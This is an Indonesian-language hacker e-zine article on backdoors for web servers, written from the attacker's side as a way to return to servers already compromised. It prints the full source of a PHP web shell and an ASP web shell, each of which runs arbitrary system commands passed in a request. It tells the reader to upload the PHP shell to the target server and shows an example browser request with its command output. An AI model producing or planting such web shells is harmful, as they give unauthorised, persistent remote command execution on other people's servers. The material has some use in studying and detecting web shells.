____________________ ___ ___ ________ \_ _____/\_ ___ \ / | \\_____ \ | __)_ / \ \// ~ \/ | \ | \\ \___\ Y / | \ /_______ / \______ /\___|_ /\_______ / \/ \/ \/ \/ .OR.ID ECHO-ZINE RELEASE 06 Author: the_day || the_day@echo.or.id Online @ www.echo.or.id :: http://ezine.echo.or.id ==Jenis-Jenis Backdooring Pada WebServer== Dalam artikel ini ,saya akan mencoba membahas sedikit tentang sistem backdooring pada Webserver. Backdoor biasanya digunakan attacker untuk kembali masuk ke server target yg sudah pernah dikuasainya. Ada backdoor yg di access lewat shell dengan membuka port tertentu seperti shv4 dan ada backdoor yang di access lewat web "Backdooring web" dgn menumpang port 80 untuk menjalankan nya ,dan mengaksesnya pun lewat browser . Disini saya cuma akan membahas tentang backdoor yg di access lewat browser . Seperti kita ketahuan ada banyak sekali jenis web server dan setiap web server mempuyai language yg berbeda pula . Backdoor disini dibuat dengan bahasa-bahasa web programing seperti ASP,PHP dan Perl.dan dengan web server yang umum digunakan. = Jenis Web Server dan Bahasa Programing : ========================================================== || Web Server || language support || ========================================================== || IIS || ASP,Perl/Cgi,cfm,php || ||------------------------------------------------------|| ||Apache || PHP,Cgi || ========================================================== Table diatas merupakan web server yang umum digunakan . = Jenis Backdoor Menurut Bahasa Programing dan Web Server : 1. PHP Shell PHP shell merupakan backdoor dari script php yang fungsinya untuk menjalankan remote shell melalui web .Contoh Sederhana dari php shell : ---------------------------------------------------------------------- // CMD - To Execute Command on File Injection Bug ( gif - jpg - txt ) if (isset($chdir)) @chdir($chdir); ob_start(); system("$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp"); $output = ob_get_contents(); ob_end_clean(); if (!empty($output)) echo str_replace(">", ">", str_replace("<", "<", $output)); ?> ------------------------------------------------------------------------ save script diatas dgn nama cmd.php dan letakan di web server target mis di /home/user98/htdcos/images/cmd.php Untuk Menjalankan backdoor tadi buka browser dan ketikan di alamat target ex : http://faketarget.com/images/cmd.php?cmd=uname -a Linux source1.sourcedns1.com 2.4.20-28.7smp #1 SMP Thu Dec 18 11:18:31 EST 2003 i686 unknown Jadi http://faketarget.com/images/cmd.php?cmd=unix command Kita masih bisa mengakses target melalui browser. 2. ASP Shell ASP shell sama dengan PHP shell dan semua backdoor disini sistemnya sama aja. Dalam asp shell kita membuat backdoor dengan script asp dan membuat script tersebut bisa mengeksekusi cmd.exe yang ada di web server target .contoh asp shell sederhana ---------------------------------------------------------------------------- <%@ Language=VBScript %> <% ' cmd.asp adapted by all windows ' coded by CupiD^ #powHACK Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <> "") Then szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd1.exe /c " & szCMD & " > " & szTempFile, 0, True) Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) Call oScript.Run ("command.exe /c " & szCMD & " > " & szTempFile, 0, True) Call oScript.Run ("command.com /c " & szCMD & " > " & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If %>
Computer Name: <%= "\\" & oScriptNet.ComputerName %>
User Name:<%="\\" & oScriptNet.UserName %>
HostName:<%=server.mappath("cmd.asp")%>
<% If (IsObject(oFile)) Then On Error Resume Next Response.Write Server.HTMLEncode(oFile.ReadAll) oFile.Close Call oFileSys.DeleteFile(szTempFile, True) End If %>